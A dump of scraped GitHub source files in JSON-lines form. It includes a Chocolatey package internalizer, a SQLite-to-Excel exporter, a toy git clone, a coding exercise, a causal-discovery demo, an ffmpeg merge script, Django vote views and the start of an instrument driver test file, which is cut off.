bool:\n\t\ttry:\n\t\t\tshutil.rmtree(folder_path)\n\t\texcept OSError as e:\n\t\t\tprint(\"Delete_folder OS error: {0}\".format(err))\n\t\t\treturn False\n\t\treturn True\n\n\t@staticmethod\n\tdef delete_file(file_path) -> bool:\n\t\ttry:\n\t\t\tos.remove(file_path)\n\t\texcept OSError:\n\t\t\tprint(\"Delete_file OS error: {0}\".format(err))\n\t\t\treturn False\n\t\treturn True\n\n\nclass Internalizer:\n\n\tCHOCO_PACKAGE_API_URL = \"https://chocolatey.org/api/v2/package/\"\n\n\tDEL_FOLDERS = ['_rels', 'package']\n\tDEL_FILES = ['[Content_Types].xml']\n\n\tDEF_NUPKG_FILE = \"default.nupkg\"\n\n\tREG_URL_PATTERN = r'[\\'\\\"]http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\), ]|(?:%[0-9a-fA-F][0-9a-fA-F]))+[\\'\\\"]'\n\n\tdef __init__(self, choco_push_source, repo_dep_folder, repoint_dep_folder, spoof_agent=True):\n\t\tself._downloader = Downloader(spoof_agent)\n\n\t\tself._choco_push_source = choco_push_source\n\t\tself._repo_dep_folder = repo_dep_folder\n\t\tself._repoint_dep_folder= repoint_dep_folder\n\n\tdef download_nupkg_package(self, package_name, save_folder, version=None, save_file=\"temp.nupkg\") -> str:\n\n\t\tapi_url = '/'.join(s.strip('/')\n\t\t\t\t\t\t   for s in [self.CHOCO_PACKAGE_API_URL, package_name, version or ''])\n\n\t\tdl_url = self._downloader.download_url(api_url, save_folder, save_file)\n\n\t\tif save_file == dl_url:\n\t\t\treturn os.path.join(save_folder, save_file)\n\n\t\treturn \"\"\n\n\tdef _unzip_nupkg(self, nupkg_path, extract_path) -> bool:\n\t\ttry:\n\t\t\twith zipfile.ZipFile(nupkg_path, 'r') as f:\n\t\t\t\tf.extractall(extract_path)\n\t\texcept (IOError, zipfile.BadZipfile) as e:\n\t\t\tprint(e)\n\t\t\treturn False\n\t\treturn True\n\n\tdef _preprocess_extracted_nupkg(self, nupkg_folder) -> bool:\n\t\treturn all([FilesUtility.delete_file(os.path.join(nupkg_folder, S1)) for S1 in self.DEL_FILES]\n\t\t\t\t   + [FilesUtility.delete_folder(os.path.join(nupkg_folder, S2)) for S2 in self.DEL_FOLDERS])\n\n\tdef _process_extracted_nupkg(self, nupkg_folder, save_folder) -> bool:\n\n\t\ttools_folder = os.path.join(nupkg_folder, 'tools')\n\t\tdownloads_folder = os.path.join(save_folder, 'downloads')\n\n\t\tif not os.path.exists(downloads_folder):\n\t\t\ttry:\n\t\t\t\tos.mkdir(downloads_folder)\n\t\t\texcept OSError as e:\n\t\t\t\treturn False\n\n\t\tif not os.path.exists(tools_folder):\n\t\t\tprint('WARN: Directory \"tools/\" is not exists in package.')\n\t\t\treturn True\n\n\t\t# Stoped here\n\n\t\ttools_ps_files = [f for f in os.listdir(\n\t\t\ttools_folder) if f.lower().endswith('.ps1')]\n\n\t\tfor fn in tools_ps_files:\n\n\t\t\tprocess_file_path = os.path.join(tools_folder, fn)\n\t\t\toutput_file_path = os.path.join(tools_folder, 'tmp.ps1')\n\n\t\t\twith open(process_file_path, 'r', encoding=\"UTF-8\", errors='ignore') as process_file, open(output_file_path, 'w', encoding=\"UTF-8\") as out_file:\n\t\t\t\tfor line in process_file.readlines():\n\t\t\t\t\tif 'https://' in line or 'http://' in line:\n\n\t\t\t\t\t\tres = re.search(self.REG_URL_PATTERN, line)\n\t\t\t\t\t\tif res:\n\n\t\t\t\t\t\t\turl = urlparse(res[0].strip(\"'\").strip('\"'))\n\t\t\t\t\t\t\tfile_name = os.path.basename(url.path)\n\t\t\t\t\t\t\tprint(\"file_name before if not:\", file_name)\n\n\t\t\t\t\t\t\t# Download the particular URL and\n\t\t\t\t\t\t\tif not os.path.exists(os.path.join(downloads_folder, file_name)):\n\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\tfile_name = os.path.basename(self._downloader.download_url(\n\t\t\t\t\t\t\t\t\t\turl.geturl(), save_folder=downloads_folder, save_name=file_name))\n\t\t\t\t\t\t\t\t\tprint(\"file_name :\", file_name)\n\t\t\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\t\t\tprint(e)\n\t\t\t\t\t\t\t\t\treturn False\n\n\t\t\t\t\t\t\tout_file.write(line.replace(\n\t\t\t\t\t\t\t\tres[0], \"'\"+os.path.join(self._repoint_dep_folder, file_name).replace(\"\\\\\", \"/\")+\"'\"   ))\n\t\t\t\t\telse:\n\t\t\t\t\t\tout_file.write(line)\n\n\t\t\tshutil.move(os.path.join(tools_folder, 'tmp.ps1'),\n\t\t\t\t\t\tos.path.join(tools_folder, fn))\n\n\t\treturn True\n\n\tdef _parse_nuspec(self, nupkg_folder) -> PackageInfo:\n\n\t\ttry:\n\t\t\tpkg_name, pkg_version, pkg_dependencies = None, None, []\n\n\t\t\tpackage_info = PackageInfo()\n\n\t\t\tfor f in os.listdir(nupkg_folder):\n\t\t\t\tif f.endswith('.nuspec'):\n\t\t\t\t\txml_name = os.path.join(nupkg_folder, f)\n\n\t\t\t\t\ttree = ET.parse(xml_name)\n\t\t\t\t\troot = tree.getroot()\n\n\t\t\t\t\tnamespace = root.tag.split('}').pop(0).strip('{')\n\n\t\t\t\t\tpackage_info.name = list(root)[0].find(\n\t\t\t\t\t\t'{%s}id' % namespace).text\n\t\t\t\t\tpackage_info.version = list(root)[0].find(\n\t\t\t\t\t\t'{%s}version' % namespace).text\n\t\t\t\t\tpackage_info.dependencies = [i.attrib for i in list(\n\t\t\t\t\t\tlist(root)[0].find('{%s}dependencies' % namespace) or [])]\n\n\t\t\t\t\tbreak\n\n\t\t\treturn package_info\n\t\texcept Exception as e:\n\t\t\treturn None\n\n\tdef move_dependencies(self, folder):\n\t\tif os.path.exists(folder):\n\t\t\tfor item in os.listdir(folder):\n\t\t\t\tif os.path.isfile(src):\n\t\t\t\t\tshutil.copyfile(os.path.join(folder, item),\n\t\t\t\t\t\t\t\t\tos.path.join(REPO_DEPENDENCIES_PATH, item))\n\n\n\tdef choco_pack(self, package_folder, save_path):\n\t\tpackage_details = self._parse_nuspec(package_folder)\n\n\t\tcmd = \"choco pack {}.nuspec --out {}\".format(\n\t\t\tos.path.join(package_folder, package_details.name), save_path)\n\n\t\tsubprocess.call(cmd)\n\n\tdef _convert_to_zip(self, download_path) -> str:\n\t\tnew_path = os.path.splitext(download_path)[0] + '.zip'\n\n\t\tprint(\"new_path :\", new_path)\n\t\tprint(\"download_path :\", download_path)\n\n\t\tos.rename(download_path, new_path)\n\n\t\treturn new_path\n\n\tdef internalize(self, save_folder, package_name, version=None) -> bool:\n\t\tprint(\"---Internalize---\")\n\t\tprint(\"save_folder\", save_folder)\n\t\tprint(\"package_name\", package_name)\n\n\t\tpackage_folder = str(tempfile.TemporaryDirectory()).strip(\n\t\t\t\"<TemporaryDirectory '\").strip(\"'>\").replace(\"\\\\\\\\\", \"\\\\\")\n\n\t\t# downloaded_path = self.download_nupkg_package(package_name=package_name, save_folder=download_folder, version=version)\n\t\tdownloaded_path = self.download_nupkg_package(\n\t\t\tpackage_name=package_name, save_folder=save_folder, version=version)\n\n\t\tif downloaded_path == \"\":\n\t\t\treturn False\n\n\t\tif not self._unzip_nupkg(downloaded_path, package_folder):\n\t\t\treturn False\n\n\t\tpackage_info = self._parse_nuspec(package_folder)\n\n\t\tif package_info is None:\n\t\t\tprint(\"package_info is None\")\n\t\t\treturn False\n\n\t\tif '.extension' in package_info.name:\n\t\t\text_package = os.path.join(save_folder, '{}.{}.nupkg'.format(\n\t\t\t\tpackage_info.name, package_info.version))\n\n\t\t\tshutil.copyfile(downloaded_path, os.path.join(\n\t\t\t\tsave_folder, '{}.{}.nupkg'.format(package_info.name, package_info.version)))\n\n\t\telse:\n\t\t\tif not self._preprocess_extracted_nupkg(package_folder):\n\t\t\t\treturn False\n\t\t\tif not self._process_extracted_nupkg(package_folder, save_folder):\n\t\t\t\treturn False\n\n\t\t\tprint(\"---Executing choco pack---\")\n\t\t\tself.choco_pack(package_folder, save_folder)\n\n\t\tfor pkg in package_info.dependencies:\n\n\t\t\ttry:  # to handle the\n\t\t\t\treturn self.internalize(\n\t\t\t\t\tsave_folder=save_folder\n\t\t\t\t\t, package_name=pkg['id']\n\t\t\t\t\t, version=(None if 'version' not in pkg else pkg['version'].strip('[').strip(']')))\n\t\t\texcept:\n\t\t\t\treturn False\n\n\t\tos.remove(os.path.join(save_folder, \"temp.nupkg\"))\n\n\t\treturn True\n\n\n\tdef migrate_packages(self, dependencies_folder: str):\n\t\tfor f in os.listdir(dependencies_folder):\n\t\t\tshutil.copy(os.path.join(dependencies_folder, f), os.path.join(self._repo_dep_folder, f))\n\t\t\tos.remove(os.path.join(dependencies_folder, f))\n\n\tdef push_nupkg(self, nupkg_path, repo_source) -> bool:\n\t\tcmd = \"choco push {} --source={} -k=\\\"chocolateyrocks\\\" --force\".format(\n\t\t\tnupkg_path, repo_source)\n\t\tres = subprocess.run(cmd)\n\n\t\treturn res.stderr != 0\n\n\tdef push_all_nupkg(self, nupkgs_folder: str) -> bool:\n\t\tfor f in os.listdir(nupkgs_folder):\n\t\t\tif f.endswith('.nupkg'):\t\t\n\n\t\t\t\tsrc_nupkg_path = os.path.join(nupkgs_folder, f)\n\n\t\t\t\tif self.push_nupkg(src_nupkg_path, self._choco_push_source):\n\t\t\t\t\tprint(\"successfully pushed {}\".format(src_nupkg_path))\n\t\t\t\t\tos.remove(src_nupkg_path)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Failed to push {}\".format(src_nupkg_path))\n\n","repo_name":"vangeance666/morphling_all","sub_path":"morphling/choco_server/utilities/internalizer.py","file_name":"internalizer.py","file_ext":"py","file_size_in_byte":10296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4366887971","text":"import sqlite3, pprint\nimport pandas as pd\nimport numpy as np\n\n\ndef show_table(save=True):\n    conn = sqlite3.connect('artem.sqlite3')\n    conn.row_factory = sqlite3.Row\n    cur = conn.cursor()\n    table = {}\n\n    for I in cur.execute('SELECT indicator FROM T_values GROUP BY indicator;').fetchall():\n        indicator = I['indicator']\n        table[indicator] = {}\n        for R in cur.execute('SELECT resource FROM T_values WHERE indicator=? GROUP BY resource;',\n                             [indicator]).fetchall():\n            resource = R['resource']\n            table[indicator][resource] = {}\n            for Y in cur.execute('SELECT year FROM T_values WHERE resource=? GROUP BY year ;', [resource]):\n                year = Y['year']\n                table[indicator][resource][year] = {}\n\n    for row in cur.execute('SELECT * FROM T_values ORDER BY indicator, resource, year, unit;').fetchall():\n        id, indicator, resource, year, unit, value = row\n        table[indicator][resource][year][unit] = value\n\n    if save:\n        df = pd.DataFrame(\n            {(i, r, y): table[i][r][y] for i in table.keys() for r in table[i].keys() for y in table[i][r].keys()},\n        )\n        df.to_excel('data.xlsx')\n\n    return table\n\n\nif __name__ == '__main__':\n    show_table()\n\n\n\n\n","repo_name":"ArtemIsmagilov/calculate_resources","sub_path":"save_values_to_excel.py","file_name":"save_values_to_excel.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27377422289","text":"import argparse, collections, difflib, enum, hashlib, operator, os, stat\nimport struct, sys, time, urllib.request, zlib\n\n\ndef init(repo):\n    \"\"\"Create directory for repo and initialize .git directory\n       La commande git init cree trois dossiers qui sont objects,refs,refs/heads\n       Elle cree ensuite un fichier HEAD qui va contenir la valeur ref:refs/heads/master\n       C'est a dire que par defaut le HEAD pointe sur le master\n    \"\"\"\n    os.mkdir(repo)\n    os.mkdir(os.path.join(repo, '.git'))\n    for name in ['objects', 'refs', 'refs/heads']:\n        os.mkdir(os.path.join(repo, '.git', name))\n    write_file(os.path.join(repo, '.git', 'HEAD'),\n               b'ref:refs/heads/master')\n    print('initialized empty repository: {}'.format(repo))\n\n\ndef write_file(path, data):\n    \"\"\"Write data bytes to file at given path\"\"\"\n    with open(path, 'wb')as f:\n        f.write(data)\n\n\ndef hash_object(data,obj_type,write=True):\n    \"\"\" Compute hash of object data of given type and write to object store\n    if \"write\" is True. Return SHA-1 object hash as hex string\n    \"\"\"\n    header = '{}{}'.format(obj_type,len(data)).encode()\n    full_data = header + b'\\x00' + data\n    sha1 = hashlib.sha1(full_data).hexdigest\n    if write:\n        path = os.path.join('.git','objects',sha1[:2],sha1[:1])\n        if not os.path.exists(path):\n            os.makedirs(os.path.dirname(path),exist_ok=True)\n            write_file(path,zlib.compress(full_data))\n    return sha1\n\nif __name__ == '__main__':\n    init('gitInParticle')\n","repo_name":"andresetevejob/virtual-python","sub_path":"pygit.py","file_name":"pygit.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8940504064","text":"import math\n\ndef countingValleys(steps, path):\n\n    #Make sure steps and len(path) are == or greater than zero\n    if steps == 0:\n        return 0\n    if len(path) == 0:\n        return 0\n    if steps != len(path):\n        return 0\n    #keep track of steps down, up, and valleys\n    sea_level = 0\n    steps = 0\n    valleys = 0\n    #split the string into a list of strings\n    types = list(path.upper())\n    # check set if a value from ar already exists in our set, if it does we can increase pairs by one and remove the value from the set\n    for val in types:\n        # if the value is D we increment  sdown\n        if val == \"D\":\n            steps -= 1\n            continue\n        # if value is U we increment up\n        elif val == \"U\":\n            steps += 1\n        #check if down is == up and add to valleys if true\n        if steps == sea_level:\n            valleys += 1\n    #else we add to our set \n    return valleys\n\nprint(countingValleys(8, \"UDDDUDUU\"))","repo_name":"derekdyer0309/interview_question_solutions","sub_path":"Strings/countingValleys.py","file_name":"countingValleys.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"28867617789","text":"from castle.datasets import DAG, IIDSimulation\nfrom castle.common import GraphDAG\nfrom castle.metrics import MetricsDAG\nfrom castle.algorithms.ges.ges import GES\n\n\nfor d in [6, 8, 10, 15, 20]:\n    edges = d * 2\n    weighted_random_dag = DAG.erdos_renyi(n_nodes=d, n_edges=edges,\n                                          weight_range=(0.5, 2.0), seed=1)\n    dataset = IIDSimulation(W=weighted_random_dag, n=1000,\n                            method='nonlinear', sem_type='gp-add')\n    true_dag, X = dataset.B, dataset.X\n\n    algo = GES(criterion='bic', method='scatter')\n    algo.learn(X)\n\n    # plot predict_dag and true_dag\n    GraphDAG(algo.causal_matrix, true_dag)\n    m1 = MetricsDAG(algo.causal_matrix, true_dag)\n    print(m1.metrics)\n    break\n\n\n\n","repo_name":"huawei-noah/trustworthyAI","sub_path":"gcastle/example/ges/ges_demo.py","file_name":"ges_demo.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":830,"dataset":"github-code","pt":"47"}
{"seq_id":"43784800287","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Xiang Wang <ramwin@qq.com>\n\n\nimport json\nfrom pathlib import Path\nimport subprocess\n\n\ndef main():\n    for directory in Path(\"17649289\").iterdir():\n        with open(directory / \"entry.json\", encoding=\"utf8\") as f:\n            info = json.load(f)\n        page = int(info[\"page_data\"][\"page\"])\n        filename = f\"转化/{page:02d}-\" + \\\n            info[\"page_data\"][\"part\"] + \".mp4\"\n        audio = directory / \"64/audio.m4s\"\n        video = directory / \"64/video.m4s\"\n        mp3 = audio.rename(directory / \"64/audio.mp3\")\n        mp4 = video.rename(directory / \"64/video.mp4\")\n        subprocess.run([\n            \"ffmpeg\",\n            \"-i\", mp4,\n            \"-i\", mp3,\n            \"-c:v\", \"copy\",\n            \"-c:a\", \"aac\",\n            filename,\n        ], check=True)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"ramwin/python-reference","sub_path":"script/合并bilibili音频和视频.py","file_name":"合并bilibili音频和视频.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17989187852","text":"from django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404, redirect\n\nfrom ..models import QuestionDouble, AnswerDouble\n\n\n@login_required(login_url='common:login')\ndef vote_question(request, question_id):\n    \"\"\"\n    doubleboard 질문추천등록\n    \"\"\"\n    question = get_object_or_404(QuestionDouble, pk=question_id)\n    if request.user == question.author_double:\n        messages.error(request, '본인이 작성한 글은 추천할수 없습니다')\n    else:\n        question.voter_double.add(request.user)\n    return redirect('doubleboard:detail', question_id=question.id)\n\n@login_required(login_url='common:login')\ndef vote_answer(request, answer_id):\n    \"\"\"\n    doubleboard 답글추천등록\n    \"\"\"\n    answer = get_object_or_404(AnswerDouble, pk=answer_id)\n    if request.user == answer.author_double:\n        messages.error(request, '본인이 작성한 글은 추천할수 없습니다')\n    else:\n        answer.voter_double.add(request.user)\n    return redirect('doubleboard:detail', question_id=answer.question_double.id)","repo_name":"hs11015/django-dotcom","sub_path":"doubleboard/views/vote_views.py","file_name":"vote_views.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20714488720","text":"\"\"\"\n@package mi.instrument.satlantic.suna_deep.ooicore.test.test_driver\n@file marine-integrations/mi/instrument/satlantic/suna_deep/ooicore/driver.py\n@author Rachel Manoni\n@brief Test cases for ooicore driver\n\nUSAGE:\n Make tests verbose and provide stdout\n    * From the IDK\n       $ bin/test_driver\n       $ bin/test_driver -u [-t testname]\n       $ bin/test_driver -i [-t testname]\n       $ bin/test_driver -q [-t testname]\n    * From pyon\n       $ bin/nosetests -s -v /Users/Bill/WorkSpace/marine-integrations/mi/instrument/nortek/vector/ooicore\n       $ bin/nosetests -s -v /Users/Bill/WorkSpace/marine-integrations/mi/instrument/nortek/vector/ooicore -a UNIT\n       $ bin/nosetests -s -v /Users/Bill/WorkSpace/marine-integrations/mi/instrument/nortek/vector/ooicore -a INT\n       $ bin/nosetests -s -v /Users/Bill/WorkSpace/marine-integrations/mi/instrument/nortek/vector/ooicore -a QUAL\n\"\"\"\n\n__author__ = 'Rachel Manoni'\n__license__ = 'Apache 2.0'\n\n\nfrom nose.plugins.attrib import attr\nfrom mock import Mock\n\nfrom mi.core.log import get_logger\nlog = get_logger()\n\nfrom mi.idk.unit_test import InstrumentDriverTestCase\nfrom mi.idk.unit_test import InstrumentDriverUnitTestCase\nfrom mi.idk.unit_test import InstrumentDriverIntegrationTestCase\nfrom mi.idk.unit_test import InstrumentDriverQualificationTestCase\nfrom mi.idk.unit_test import DriverTestMixin\nfrom mi.idk.unit_test import AgentCapabilityType\n\nfrom mi.core.common import BaseEnum\n\nfrom mi.core.instrument.chunker import StringChunker\nfrom mi.core.instrument.instrument_driver import DriverConnectionState, ResourceAgentState, DriverConfigKey, DriverEvent\n\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import InstrumentDriver, SUNAStatusDataParticle, TIMEOUT, \\\n    SUNATestDataParticle, InstrumentCommandArgs, SUNASampleDataParticleKey, SUNAStatusDataParticleKey, \\\n    SUNATestDataParticleKey\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import DataParticleType\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import InstrumentCommand\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import ProtocolState\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import ProtocolEvent\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import Capability\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import Parameter\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import Protocol\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import Prompt\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import NEWLINE\nfrom mi.instrument.satlantic.suna_deep.ooicore.driver import SUNASampleDataParticle\n\nfrom mi.core.exceptions import SampleException, InstrumentCommandException, InstrumentParameterException, \\\n    InstrumentProtocolException\n\n###\n#   Driver parameters for the tests\n###\nInstrumentDriverTestCase.initialize(\n    driver_module='mi.instrument.satlantic.suna_deep.ooicore.driver',\n    driver_class=\"InstrumentDriver\",\n\n    instrument_agent_resource_id='1BQY0H',\n    instrument_agent_name='satlantic_suna_deep_ooicore',\n    instrument_agent_packet_config=DataParticleType(),\n\n    driver_startup_config={DriverConfigKey.PARAMETERS: {\n                           Parameter.OPERATION_MODE: InstrumentCommandArgs.POLLED,\n                           Parameter.OPERATION_CONTROL: \"Samples\",\n                           Parameter.LIGHT_SAMPLES: 5,\n                           Parameter.DARK_SAMPLES: 1,\n                           Parameter.LIGHT_DURATION: 10,\n                           Parameter.DARK_DURATION: 5,\n                           Parameter.NUM_LIGHT_SAMPLES: 1,\n                           Parameter.TIME_LIGHT_SAMPLE: 5}}\n)\n\n#################################### RULES ####################################\n#                                                                             #\n# Common capabilities in the base class                                       #\n#                                                                             #\n# Instrument specific stuff in the derived class                              #\n#                                                                             #\n# Generator spits out either stubs or comments describing test this here,     #\n# test that there.                                                            #\n#                                                                             #\n# Qualification tests are driven through the instrument_agent                 #\n#                                                                             #\n###############################################################################\nSUNA_ASCII_SAMPLE = \"SATSDF0344,2014125,21.278082,0.00,0.0000,0.0000,0.0000,0.00,476,0,1,475,483,494,465,487,490,488,\" \\\n                    \"477,465,471,477,476,475,469,477,482,485,485,481,481,474,467,484,472,469,483,489,488,484,497,488,\" \\\n                    \"482,484,474,461,455,485,469,495,481,485,474,487,464,491,477,464,485,492,492,475,485,478,479,477,\" \\\n                    \"465,455,471,482,486,482,480,486,478,484,488,480,485,485,473,480,481,485,462,469,466,455,487,488,\" \\\n                    \"482,485,489,485,478,489,472,475,456,483,450,471,450,487,480,493,490,482,472,485,484,481,494,494,\" \\\n                    \"482,482,468,467,467,477,472,469,487,473,475,475,481,492,468,471,477,464,487,466,487,476,466,461,\" \\\n                    \"469,467,469,461,459,475,481,477,476,467,469,476,484,462,479,464,467,471,485,477,466,471,470,481,\" \\\n                    \"473,493,496,470,487,478,469,471,475,464,485,472,468,462,483,481,489,482,495,481,471,471,456,459,\" \\\n                    \"465,454,475,452,459,472,464,491,488,478,487,465,483,470,465,478,465,487,480,487,474,478,488,480,\" \\\n                    \"469,473,463,477,466,473,485,489,486,476,471,475,470,455,471,456,459,467,457,467,477,467,475,489,\" \\\n                    \"485,484,470,489,482,481,474,471,479,479,468,479,481,484,480,491,468,479,474,474,468,471,477,480,\" \\\n                    \"490,484,493,480,485,464,469,477,276,0.0,0.0,-99.0,172578,6.2,12.0,0.1,5.0,54,0.00,0.00,0.0000,\" \\\n                    \"0.000000,0.000000,,,,,203\\r\\n\"\n\n\nSUNA_ASCII_STATUS = \"SENSTYPE SUNA\\r\\nSENSVERS V2\\r\\nSERIALNO 344\\r\\nTHEBRAND Missing\\r\\nPATHLGTH Missing\\r\\n\" \\\n                    \"INTWIPER Available\\r\\nEXTPPORT Missing\\r\\n\" \\\n                    \"LMPSHUTR Missing\\r\\nREFDTECT Missing\\r\\nPROTECTR Available\\r\\nSUPRCAPS Available\\r\\n\" \\\n                    \"PWRSVISR Available\\r\\nUSBSWTCH Available\\r\\nRELAYBRD Available\\r\\nSDI12BRD Available\\r\\n\" \\\n                    \"ANALGBRD Available\\r\\nINTDATLG Available\\r\\nAPFIFACE Available\\r\\nSCHDLING Available\\r\\n\" \\\n                    \"FANATLMP Available\\r\\nOWIRETLP 10d0fda4020800eb\\r\\nOWIRETSP 1086818d020800d8\\r\\n\" \\\n                    \"OWIRETHS 10707b6a020800cc\\r\\nZSPEC_SN 86746\\r\\nFIBERLSN C3.D01.1590\\r\\nSTUPSTUS Done\\r\\n\" \\\n                    \"BAUDRATE 57600\\r\\nMSGLEVEL Info\\r\\nMSGFSIZE 2\\r\\nDATFSIZE 5\\r\\nOUTFRTYP Full_ASCII\\r\\n\" \\\n                    \"LOGFRTYP Full_ASCII\\r\\nOUTDRKFR Output\\r\\nLOGDRKFR Output\\r\\nTIMERESL Fractsec\\r\\n\" \\\n                    \"LOGFTYPE Acquisition\\r\\nACQCOUNT 10\\r\\nCNTCOUNT 130\\r\\nDCMINNO3 -5.000\\r\\nDCMAXNO3 100.000\\r\\n\" \\\n                    \"WDAT_LOW 217.00\\r\\nWDAT_HGH 250.00\\r\\nSDI12ADD 48\\r\\nDATAMODE Real\\r\\nOPERMODE Polled\\r\\n\" \\\n                    \"OPERCTRL Duration\\r\\nEXDEVTYP None\\r\\nEXDEVPRE 0\\r\\n\" \\\n                    \"EXDEVRUN Off\\r\\nWATCHDOG On\\r\\nCOUNTDWN 15\\r\\n\" \\\n                    \"FIXDDURA 60\\r\\nPERDIVAL 1m\\r\\nPERDOFFS 0\\r\\nPERDDURA 5\\r\\nPERDSMPL 5\\r\\nPOLLTOUT 15\\r\\n\" \\\n                    \"APFATOFF 10.0000\\r\\nSTBLTIME 5\\r\\nREFLIMIT 0\\r\\nSKPSLEEP Off\\r\\nLAMPTOFF 35\\r\\nSPINTPER 450\\r\\n\" \\\n                    \"DRKAVERS 1\\r\\nLGTAVERS 1\\r\\nREFSMPLS 20\\r\\nDRKSMPLS 2\\r\\nLGTSMPLS 58\\r\\nDRKDURAT 2\\r\\n\" \\\n                    \"LGTDURAT 58\\r\\nTEMPCOMP Off\\r\\nSALINFIT On\\r\\nBRMTRACE Off\\r\\nBL_ORDER 1\\r\\nFITCONCS 3\\r\\n\" \\\n                    \"DRKCORMT SpecAverage\\r\\nDRKCOEFS Missing\\r\\nDAVGPRM0 500.000\\r\\nDAVGPRM1 0.00000\\r\\n\" \\\n                    \"DAVGPRM2 0.00000\\r\\nDAVGPRM3 0.000000\\r\\nA_CUTOFF 1.3000\\r\\nINTPRADJ On\\r\\nINTPRFAC 1\\r\\n\" \\\n                    \"INTADSTP 20\\r\\nINTADMAX 20\\r\\nWFIT_LOW 217.00\\r\\nWFIT_HGH 240.00\\r\\nLAMPTIME 172577\\r\\n\" \\\n                    \"$Ok \\r\\nSUNA> get activecalfile\\r\\nget activecalfile\\r\\n$Ok SNA0234H.cal\"\n\n\nSUNA_ASCII_TEST = \"Extrn Disk Size; Free , 1960968192; 1956216832\\r\\n\" \\\n                  \"Intrn Disk Size; Free , 2043904; 1956864\\r\\n\" \\\n                  \"Fiberlite    Odometer , 0048:10:05\\r\\n\" \\\n                  \"Temperatures Hs Sp Lm , 22.3 21.7 21.6\\r\\n\" \\\n                  \"Humidity              , 5.8\\r\\n\" \\\n                  \"Electrical Mn Bd Pr C , 12.0 12.0 5.0 25.8\\r\\n\" \\\n                  \"Lamp            Power , 5505 mW\\r\\n\" \\\n                  \"Spec Dark av sd mi ma ,   471 (+/-     9) [  444:  494]\\r\\n\" \\\n                  \"Spec Lght av sd mi ma , 22308 (+/- 12009) [  455:52004]\\r\\n\" \\\n                  \"$Ok\"\n\n\nclass ParameterConstraints(BaseEnum):\n    OPERATION_MODE = (Parameter.OPERATION_MODE, str, InstrumentCommandArgs.CONTINUOUS, InstrumentCommandArgs.POLLED)\n    OPERATION_CONTROL = (Parameter.OPERATION_CONTROL, str, 'Samples', 'Duration')\n    LIGHT_SAMPLES = (Parameter.LIGHT_SAMPLES, int, 1, 65535)\n    DARK_SAMPLES = (Parameter.DARK_SAMPLES, int, 1, 65535)\n    LIGHT_DURATION = (Parameter.LIGHT_DURATION, int, 1, 65535)\n    DARK_DURATION = (Parameter.DARK_DURATION, int, 1, 65535)\n    COUNTDOWN = (Parameter.COUNTDOWN, int, 0, 3600)\n    TEMP_COMPENSATION = (Parameter.TEMP_COMPENSATION, bool, True, False)\n    FIT_WAVELENGTH_BOTH = (Parameter.FIT_WAVELENGTH_BOTH, str, '210,210', '350,350')\n    CONCENTRATIONS_IN_FIT = (Parameter.CONCENTRATIONS_IN_FIT, int, 1, 3)\n    DARK_CORRECTION_METHOD = (Parameter.DARK_CORRECTION_METHOD, str, 'SpecAverage', 'SWAverage')\n    SALINITY_FITTING = (Parameter.SALINITY_FITTING, bool, True, False)\n    BROMIDE_TRACING = (Parameter.BROMIDE_TRACING, bool, True, False)\n    ABSORBANCE_CUTOFF = (Parameter.ABSORBANCE_CUTOFF, float, 0.01, 10.0)\n    INTEG_TIME_ADJUSTMENT = (Parameter.INTEG_TIME_ADJUSTMENT, bool, True, False)\n    INTEG_TIME_FACTOR = (Parameter.INTEG_TIME_FACTOR, int, 1, 20)\n    INTEG_TIME_STEP = (Parameter.INTEG_TIME_STEP, int, 1, 20)\n    INTEG_TIME_MAX = (Parameter.INTEG_TIME_MAX, int, 1, 20)\n\n\n###############################################################################\n#                        DATA PARTICLE TEST MIXIN      \t                  #\n#     Defines a set of constants and assert methods used for data particle    #\n#     verification      #\n#                                                                             #\n#  In python mixin classes are classes designed such that they wouldn't be    #\n#  able to stand on their own, but are inherited by other classes generally   #\n#  using multiple inheritance.                                                #\n#                                                                             #\n# This class defines a configuration structure for testing and common assert  #\n# methods for validating data particles.\t  #\n###############################################################################\n# noinspection PyPep8\nclass DriverTestMixinSub(DriverTestMixin):\n\n    _reference_sample_parameters = {\n        SUNASampleDataParticleKey.FRAME_TYPE: {'type': unicode, 'value': \"SDF\"},\n        SUNASampleDataParticleKey.SERIAL_NUM: {'type': unicode, 'value': \"0344\"},\n        SUNASampleDataParticleKey.SAMPLE_DATE: {'type': int, 'value': 2014125},\n        SUNASampleDataParticleKey.SAMPLE_TIME: {'type': float, 'value': 21.278082},\n        SUNASampleDataParticleKey.NITRATE_CONCEN: {'type': float, 'value': 0.00},\n        SUNASampleDataParticleKey.NITROGEN: {'type': float, 'value': 0.0000},\n        